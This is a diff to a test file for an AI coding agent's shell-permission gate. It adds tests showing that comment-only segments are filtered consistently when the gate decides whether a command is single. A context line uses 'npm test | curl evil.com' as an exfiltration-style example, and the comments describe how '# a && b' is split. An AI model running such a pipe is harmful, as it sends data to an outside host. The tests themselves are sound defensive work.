@@ -14,7 +14,7 @@ import {
1414} from "./command.js" ;
1515import { matchesPattern , escapeGlobLiteral } from "./matcher.js" ;
1616import { evaluateApprovals } from "./authz-grants.js" ;
17- import { classifyTool , buildRequests , isAutoAllowedShellCall } from "./classify.js" ;
17+ import { classifyTool , buildRequests , isAutoAllowedShellCall , isSingleShellCommand } from "./classify.js" ;
1818import { createPermissionGate } from "./gate.js" ;
1919import { createMcpToolPermissionRegistry , registerMcpClientTools } from "../mcp/tool-permissions.js" ;
2020import { listWorktreeRoots , createWorktreeRootsProvider } from "./worktree-roots.js" ;
@@ -2001,6 +2001,50 @@ describe("preApprove", () => {
20012001 expect ( ( await gate . evaluate ( shellCall ( "npm test | curl evil.com" ) ) ) . allowed ) . toBe ( true ) ;
20022002 expect ( asked ) . toBe ( 1 ) ;
20032003 } ) ;
2004+
2005+ test ( "agrees with the interactive scope ladder on whether a comment-trailing command is single" , async ( ) => {
2006+ // "echo hi && # why" has one real segment once the trailing comment is
2007+ // filtered out. The interactive scope ladder (buildRequests/shellApprovalScopes)
2008+ // already filters comment-only segments before counting, so it offers the
2009+ // full per-command ladder (prefix + exact) as if this were one command.
2010+ // preApprove's gate must reach the same verdict, since both answer the
2011+ // same underlying "is this a single shell command" question.
2012+ const command = "echo hi && # why" ;
2013+
2014+ const gate = createPermissionGate ( {
2015+ approvals : [ ] ,
2016+ requestApproval : async ( ) => ( { allow : true } ) ,
2017+ interactive : true ,
2018+ skipPermissions : false ,
2019+ } ) ;
2020+ gate . preApprove ( "run_shell" , command ) ;
2021+ const preApproveTreatsAsSingle = gate . getSessionApprovals ( ) . length === 1 ;
2022+
2023+ const requests = buildRequests ( shellCall ( command ) ) ;
2024+ const scopeLadderTreatsAsSingle = requests [ 0 ] ! . scopes . length > 1 ;
2025+
2026+ expect ( preApproveTreatsAsSingle ) . toBe ( scopeLadderTreatsAsSingle ) ;
2027+ } ) ;
2028+
2029+ test ( "isSingleShellCommand narrows a pure-comment command to false" , ( ) => {
2030+ // Before the shared realShellSegments predicate, gate.ts's own
2031+ // isSingleShellCommand did not filter comment-only segments, so a
2032+ // pure-comment "command" like "# just a comment" counted as one real
2033+ // segment and was treated as single. The shared predicate filters it
2034+ // out, leaving zero segments, so this must now be false.
2035+ expect ( isSingleShellCommand ( "# just a comment" ) ) . toBe ( false ) ;
2036+ } ) ;
2037+
2038+ test ( "isSingleShellCommand treats a leading-comment-then-chain as its trailing real segment" , ( ) => {
2039+ // splitChainedCommand splits on "&&" before recognizing that "#" extends
2040+ // a comment to end of line, so "# a && b" splits into ["# a", "b"] even
2041+ // though a real shell treats the whole line as one comment (nothing
2042+ // after "#" ever runs). Filtering the comment-only "# a" segment leaves
2043+ // exactly one real segment, "b", so this is scored as a single command —
2044+ // matching shellApprovalScopes' existing behavior, not a regression
2045+ // introduced here.
2046+ expect ( isSingleShellCommand ( "# a && b" ) ) . toBe ( true ) ;
2047+ } ) ;
20042048} ) ;
20052049
20062050describe ( "isAutoAllowedShellCall" , ( ) => {
0 commit comments